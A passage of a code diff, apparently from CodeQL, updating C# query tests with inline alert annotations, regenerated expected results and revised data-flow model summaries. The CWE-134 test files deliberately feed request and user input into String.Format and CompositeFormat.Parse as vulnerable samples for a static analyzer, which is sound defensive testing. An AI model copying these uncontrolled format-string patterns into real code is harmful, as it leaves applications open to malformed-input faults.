System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Property[System.Uri.OriginalString];ReturnValue;value;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[0];ReturnValue.Field[System.ValueTuple`8.Item1];value;manual | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[1];ReturnValue.Field[System.ValueTuple`8.Item2];value;manual | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[2];ReturnValue.Field[System.ValueTuple`8.Item3];value;manual | diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs index 0ecb33abadcc..a365feec5e38 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs @@ -1,23 +1,27 @@ class MissedReadonlyOpportunity { - public int Bad1; - public T Bad2; + public int Bad1; // $ Alert + public T Bad2; // $ Alert + public Immutable Bad3; // $ Alert public readonly int Good1; public readonly int Good2 = 0; public const int Good3 = 0; public int Good4; public readonly T Good5; public T Good6; + public Mutable Good7; public MissedReadonlyOpportunity(int i, T t) { Bad1 = i; Bad2 = t; + Bad3 = new Immutable(); Good1 = i; Good2 = i; Good4 = i; Good5 = t; Good6 = t; + Good7 = new Mutable(); } public void M(int i) @@ -27,3 +31,54 @@ public void M(int i) x.Good6 = false; } } + +struct Mutable +{ + private int x; + public int Mutate() + { + x = x + 1; + return x; + } +} + +readonly struct Immutable { } + +class Tree +{ + private Tree? Parent; + private Tree? Left; // $ Alert + private readonly Tree? Right; + + public Tree(Tree left, Tree right) + { + this.Left = left; + this.Right = right; + left.Parent = this; + right.Parent = this; + } + + public Tree() + { + Left = null; + Right = null; + } +} + +class StaticFields +{ + static int X; // $ Alert + static int Y; + + // Static constructor + static StaticFields() + { + X = 0; + } + + // Instance constructor + public StaticFields(int y) + { + Y = y; + } +} diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected index 680a571e7754..6a9b286a343c 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected @@ -1,3 +1,6 @@ | MissedReadonlyOpportunity.cs:3:16:3:19 | Bad1 | Field 'Bad1' can be 'readonly'. | | MissedReadonlyOpportunity.cs:4:14:4:17 | Bad2 | Field 'Bad2' can be 'readonly'. | +| MissedReadonlyOpportunity.cs:5:22:5:25 | Bad3 | Field 'Bad3' can be 'readonly'. | +| MissedReadonlyOpportunity.cs:50:19:50:22 | Left | Field 'Left' can be 'readonly'. | +| MissedReadonlyOpportunity.cs:70:16:70:16 | X | Field 'X' can be 'readonly'. | | MissedReadonlyOpportunityBad.cs:3:9:3:13 | Field | Field 'Field' can be 'readonly'. | diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.qlref b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.qlref index 28237dce311a..eb2e98d639dc 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.qlref @@ -1 +1,2 @@ -Language Abuse/MissedReadonlyOpportunity.ql +query: Language Abuse/MissedReadonlyOpportunity.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunityBad.cs b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunityBad.cs index 7bd3d8d31cd9..912141bb862b 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunityBad.cs +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunityBad.cs @@ -1,6 +1,6 @@ class Bad { - int Field; + int Field; // $ Alert public Bad(int i) { diff --git a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs index 1c088acfce23..6ddd7fb037d5 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.cs @@ -6,9 +6,27 @@ public class Test public void M() { var h = new Hashtable(); - h.Add(this, null); // BAD + h.Add(this, null); // $ Alert + h.Contains(this); // $ Alert + h.ContainsKey(this); // $ Alert + h[this] = null; // $ Alert + h.Remove(this); // $ Alert + + var l = new List(); + l.Add(this); // Good + var d = new Dictionary(); - d.Add(this, false); // BAD + d.Add(this, false); // $ Alert + d.ContainsKey(this); // $ Alert + d[this] = false; // $ Alert + d.Remove(this); // $ Alert + d.TryAdd(this, false); // $ Alert + d.TryGetValue(this, out bool _); // $ Alert + + var hs = new HashSet(); + hs.Add(this); // $ Alert + hs.Contains(this); // $ Alert + hs.Remove(this); // $ Alert } public override bool Equals(object other) diff --git a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected index 139f62dfe5bd..ad5ab000c7d0 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected +++ b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.expected @@ -1,2 +1,14 @@ | HashedButNoHash.cs:9:15:9:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | -| HashedButNoHash.cs:11:15:11:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:10:20:10:23 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:11:23:11:26 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:12:11:12:14 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:13:18:13:21 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:19:15:19:18 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:20:23:20:26 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:21:11:21:14 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:22:18:22:21 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:23:18:23:21 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:24:23:24:26 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:27:16:27:19 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:28:21:28:24 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | +| HashedButNoHash.cs:29:19:29:22 | this access | This expression is hashed, but type 'Test' only defines Equals(...) not GetHashCode(). | diff --git a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.qlref b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.qlref index 611db7b8e0de..2686c9c06e81 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/HashedButNoHash/HashedButNoHash.qlref @@ -1 +1,3 @@ -Likely Bugs/HashedButNoHash.ql \ No newline at end of file +query: Likely Bugs/HashedButNoHash.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql + diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/ConsoleUncontrolledFormatString.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/ConsoleUncontrolledFormatString.cs index c9d4440cf787..c7d8c38a71b4 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/ConsoleUncontrolledFormatString.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/ConsoleUncontrolledFormatString.cs @@ -5,9 +5,9 @@ public class Program { public static void Main() { - var format = Console.ReadLine(); + var format = Console.ReadLine(); // $ Source // BAD: Uncontrolled format string. - var x = string.Format(format, 1, 2); + var x = string.Format(format, 1, 2); // $ Alert } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs index 37da55bec766..814167b15d91 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs @@ -1,4 +1,5 @@ using System; +using System.Text; using System.IO; using System.Web; @@ -6,13 +7,13 @@ public class TaintedPathHandler : IHttpHandler { public void ProcessRequest(HttpContext ctx) { - String path = ctx.Request.QueryString["page"]; + String path = ctx.Request.QueryString["page"]; // $ Source // BAD: Uncontrolled format string. - String.Format(path, "Do not do this"); + String.Format(path, "Do not do this"); // $ Alert // BAD: Using an IFormatProvider. - String.Format((IFormatProvider)null, path, "Do not do this"); + String.Format((IFormatProvider)null, path, "Do not do this"); // $ Alert // GOOD: Not the format string. String.Format("Do not do this", path); @@ -22,6 +23,9 @@ public void ProcessRequest(HttpContext ctx) // GOOD: Not a formatting call Console.WriteLine(path); + + // BAD: Uncontrolled format string. + CompositeFormat.Parse(path); // $ Alert } System.Windows.Forms.TextBox box1; @@ -29,6 +33,6 @@ public void ProcessRequest(HttpContext ctx) void OnButtonClicked() { // BAD: Uncontrolled format string. - String.Format(box1.Text, "Do not do this"); + String.Format(box1.Text, "Do not do this"); // $ Alert } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected index 6c70f8450b2e..fa6aa70abf7c 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected @@ -1,17 +1,19 @@ #select | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine : String | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | This format string depends on $@. | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine | thisread from stdin | -| UncontrolledFormatString.cs:12:23:12:26 | access to local variable path | UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:12:23:12:26 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString | thisASP.NET query string | -| UncontrolledFormatString.cs:15:46:15:49 | access to local variable path | UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:15:46:15:49 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString | thisASP.NET query string | -| UncontrolledFormatString.cs:32:23:32:31 | access to property Text | UncontrolledFormatString.cs:32:23:32:31 | access to property Text | UncontrolledFormatString.cs:32:23:32:31 | access to property Text | This format string depends on $@. | UncontrolledFormatString.cs:32:23:32:31 | access to property Text | thisTextBox text | +| UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString | thisASP.NET query string | +| UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString | thisASP.NET query string | +| UncontrolledFormatString.cs:28:31:28:34 | access to local variable path | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:28:31:28:34 | access to local variable path | This format string depends on $@. | UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString | thisASP.NET query string | +| UncontrolledFormatString.cs:36:23:36:31 | access to property Text | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | This format string depends on $@. | UncontrolledFormatString.cs:36:23:36:31 | access to property Text | thisTextBox text | | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | This format string depends on $@. | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString | thisASP.NET query string | edges | ConsoleUncontrolledFormatString.cs:8:13:8:18 | access to local variable format : String | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | provenance | | | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine : String | ConsoleUncontrolledFormatString.cs:8:13:8:18 | access to local variable format : String | provenance | Src:MaD:1 | -| UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | UncontrolledFormatString.cs:12:23:12:26 | access to local variable path | provenance | | -| UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | UncontrolledFormatString.cs:15:46:15:49 | access to local variable path | provenance | | -| UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | provenance | | -| UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:9:23:9:53 | access to indexer : String | provenance | MaD:2 | -| UncontrolledFormatString.cs:9:23:9:53 | access to indexer : String | UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | provenance | | +| UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | provenance | | +| UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | provenance | | +| UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | UncontrolledFormatString.cs:28:31:28:34 | access to local variable path | provenance | | +| UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | provenance | | +| UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:10:23:10:53 | access to indexer : String | provenance | MaD:2 | +| UncontrolledFormatString.cs:10:23:10:53 | access to indexer : String | UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | provenance | | | UncontrolledFormatStringBad.cs:9:16:9:21 | access to local variable format : String | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | provenance | | | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | UncontrolledFormatStringBad.cs:9:16:9:21 | access to local variable format : String | provenance | | | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | UncontrolledFormatStringBad.cs:9:25:9:61 | access to indexer : String | provenance | MaD:2 | @@ -23,12 +25,13 @@ nodes | ConsoleUncontrolledFormatString.cs:8:13:8:18 | access to local variable format : String | semmle.label | access to local variable format : String | | ConsoleUncontrolledFormatString.cs:8:22:8:39 | call to method ReadLine : String | semmle.label | call to method ReadLine : String | | ConsoleUncontrolledFormatString.cs:11:31:11:36 | access to local variable format | semmle.label | access to local variable format | -| UncontrolledFormatString.cs:9:16:9:19 | access to local variable path : String | semmle.label | access to local variable path : String | -| UncontrolledFormatString.cs:9:23:9:45 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection | -| UncontrolledFormatString.cs:9:23:9:53 | access to indexer : String | semmle.label | access to indexer : String | -| UncontrolledFormatString.cs:12:23:12:26 | access to local variable path | semmle.label | access to local variable path | -| UncontrolledFormatString.cs:15:46:15:49 | access to local variable path | semmle.label | access to local variable path | -| UncontrolledFormatString.cs:32:23:32:31 | access to property Text | semmle.label | access to property Text | +| UncontrolledFormatString.cs:10:16:10:19 | access to local variable path : String | semmle.label | access to local variable path : String | +| UncontrolledFormatString.cs:10:23:10:45 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection | +| UncontrolledFormatString.cs:10:23:10:53 | access to indexer : String | semmle.label | access to indexer : String | +| UncontrolledFormatString.cs:13:23:13:26 | access to local variable path | semmle.label | access to local variable path | +| UncontrolledFormatString.cs:16:46:16:49 | access to local variable path | semmle.label | access to local variable path | +| UncontrolledFormatString.cs:28:31:28:34 | access to local variable path | semmle.label | access to local variable path | +| UncontrolledFormatString.cs:36:23:36:31 | access to property Text | semmle.label | access to property Text | | UncontrolledFormatStringBad.cs:9:16:9:21 | access to local variable format : String | semmle.label | access to local variable format : String | | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection | | UncontrolledFormatStringBad.cs:9:25:9:61 | access to indexer : String | semmle.label | access to indexer : String | diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref index 88de17860f9c..10aa9e825cdd 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-134/UncontrolledFormatString.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs index dc0c689eefa5..aeb252b18a71 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs @@ -6,9 +6,9 @@ public class HttpHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { - string format = ctx.Request.QueryString["nameformat"]; + string format = ctx.Request.QueryString["nameformat"]; // $ Source // BAD: Uncontrolled format string. - FormattedName = string.Format(format, Surname, Forenames); + FormattedName = string.Format(format, Surname, Forenames); // $ Alert } } diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql index 0c8134546d24..a52b96b02327 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureContentSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _) } + string getCapturedModel(Callable c) { result = ContentSensitive::captureFlow(c, _, _, _, _) } string getKind() { result = "contentbased-summary" } } diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql index b5a3b31a0354..cf52ff8cf25b 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql +++ b/csharp/ql/test/utils/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql @@ -4,7 +4,7 @@ import SummaryModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Callable c) { result = Heuristic::captureFlow(c) } + string getCapturedModel(Callable c) { result = Heuristic::captureFlow(c, _) } string getKind() { result = "heuristic-summary" } } diff --git a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs index f1dbc02512ab..b59513504d9d 100644 --- a/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs +++ b/csharp/ql/test/utils/modelgenerator/dataflow/Summaries.cs @@ -19,22 +19,22 @@ public BasicFlow ReturnThis(object input) return this; } - // heuristic-summary=Models;BasicFlow;false;ReturnParam0;(System.String,System.Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;BasicFlow;false;ReturnParam0;(System.String,System.Object);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;BasicFlow;false;ReturnParam0;(System.String,System.Object);;Argument[0];ReturnValue;value;dfc-generated public string ReturnParam0(string input0, object input1) { return input0; } - // heuristic-summary=Models;BasicFlow;false;ReturnParam1;(System.String,System.Object);;Argument[1];ReturnValue;taint;df-generated + // heuristic-summary=Models;BasicFlow;false;ReturnParam1;(System.String,System.Object);;Argument[1];ReturnValue;value;df-generated // contentbased-summary=Models;BasicFlow;false;ReturnParam1;(System.String,System.Object);;Argument[1];ReturnValue;value;dfc-generated public object ReturnParam1(string input0, object input1) { return input1; } - // heuristic-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[0];ReturnValue;taint;df-generated - // heuristic-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[1];ReturnValue;taint;df-generated + // heuristic-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[0];ReturnValue;value;df-generated + // heuristic-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[1];ReturnValue;value;df-generated // contentbased-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[0];ReturnValue;value;dfc-generated // contentbased-summary=Models;BasicFlow;false;ReturnParamMultiple;(System.Object,System.Object);;Argument[1];ReturnValue;value;dfc-generated public object ReturnParamMultiple(object input0, object input1) @@ -133,35 +133,35 @@ public List ReturnFieldInAList() return new List { tainted }; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeArray;(System.String[]);;Argument[0].Element;ReturnValue;taint;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeArray;(System.String[]);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnComplexTypeArray;(System.String[]);;Argument[0];ReturnValue;value;dfc-generated public string[] ReturnComplexTypeArray(string[] a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnBulkTypeList;(System.Collections.Generic.List);;Argument[0].Element;ReturnValue;taint;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnBulkTypeList;(System.Collections.Generic.List);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnBulkTypeList;(System.Collections.Generic.List);;Argument[0];ReturnValue;value;dfc-generated public List ReturnBulkTypeList(List a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeDictionary;(System.Collections.Generic.Dictionary);;Argument[0].Element;ReturnValue;taint;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnComplexTypeDictionary;(System.Collections.Generic.Dictionary);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnComplexTypeDictionary;(System.Collections.Generic.Dictionary);;Argument[0];ReturnValue;value;dfc-generated public Dictionary ReturnComplexTypeDictionary(Dictionary a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnUntypedArray;(System.Array);;Argument[0].Element;ReturnValue;taint;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnUntypedArray;(System.Array);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnUntypedArray;(System.Array);;Argument[0];ReturnValue;value;dfc-generated public Array ReturnUntypedArray(Array a) { return a; } - // SPURIOUS-heuristic-summary=Models;CollectionFlow;false;ReturnUntypedList;(System.Collections.IList);;Argument[0].Element;ReturnValue;taint;df-generated + // heuristic-summary=Models;CollectionFlow;false;ReturnUntypedList;(System.Collections.IList);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;CollectionFlow;false;ReturnUntypedList;(System.Collections.IList);;Argument[0];ReturnValue;value;dfc-generated public IList ReturnUntypedList(IList a) { @@ -202,7 +202,7 @@ public IEnumerableFlow(string s) tainted = s; } - // SPURIOUS-heuristic-summary=Models;IEnumerableFlow;false;ReturnIEnumerable;(System.Collections.Generic.IEnumerable);;Argument[0].Element;ReturnValue;taint;df-generated + // heuristic-summary=Models;IEnumerableFlow;false;ReturnIEnumerable;(System.Collections.Generic.IEnumerable);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;IEnumerableFlow;false;ReturnIEnumerable;(System.Collections.Generic.IEnumerable);;Argument[0];ReturnValue;value;dfc-generated public IEnumerable ReturnIEnumerable(IEnumerable input) { @@ -256,7 +256,7 @@ public List ReturnFieldInGenericList() return new List { tainted }; } - // heuristic-summary=Models;GenericFlow;false;ReturnGenericParam;(S);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;GenericFlow;false;ReturnGenericParam;(S);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;GenericFlow;false;ReturnGenericParam;(S);;Argument[0];ReturnValue;value;dfc-generated public S ReturnGenericParam(S input) { @@ -280,7 +280,7 @@ public void AddToGenericList(List input, S data) public abstract class BaseClassFlow { - // heuristic-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;value;dfc-generated public virtual object ReturnParam(object input) { @@ -290,7 +290,7 @@ public virtual object ReturnParam(object input) public class DerivedClass1Flow : BaseClassFlow { - // heuristic-summary=Models;DerivedClass1Flow;false;ReturnParam1;(System.String,System.String);;Argument[1];ReturnValue;taint;df-generated + // heuristic-summary=Models;DerivedClass1Flow;false;ReturnParam1;(System.String,System.String);;Argument[1];ReturnValue;value;df-generated // contentbased-summary=Models;DerivedClass1Flow;false;ReturnParam1;(System.String,System.String);;Argument[1];ReturnValue;value;dfc-generated public string ReturnParam1(string input0, string input1) { @@ -300,14 +300,14 @@ public string ReturnParam1(string input0, string input1) public class DerivedClass2Flow : BaseClassFlow { - // heuristic-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;BaseClassFlow;true;ReturnParam;(System.Object);;Argument[0];ReturnValue;value;dfc-generated public override object ReturnParam(object input) { return input; } - // heuristic-summary=Models;DerivedClass2Flow;false;ReturnParam0;(System.String,System.Int32);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;DerivedClass2Flow;false;ReturnParam0;(System.String,System.Int32);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;DerivedClass2Flow;false;ReturnParam0;(System.String,System.Int32);;Argument[0];ReturnValue;value;dfc-generated public string ReturnParam0(string input0, int input1) { @@ -327,7 +327,7 @@ public OperatorFlow(object o) } // Flow Summary. - // heuristic-summary=Models;OperatorFlow;false;op_Addition;(Models.OperatorFlow,Models.OperatorFlow);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;OperatorFlow;false;op_Addition;(Models.OperatorFlow,Models.OperatorFlow);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;OperatorFlow;false;op_Addition;(Models.OperatorFlow,Models.OperatorFlow);;Argument[0];ReturnValue;value;dfc-generated public static OperatorFlow operator +(OperatorFlow a, OperatorFlow b) { @@ -368,7 +368,7 @@ public override bool Equals(object obj) return boolTainted; } - // heuristic-summary=Models;EqualsGetHashCodeNoFlow;false;Equals;(System.String);;Argument[0];ReturnValue;taint;df-generated + // 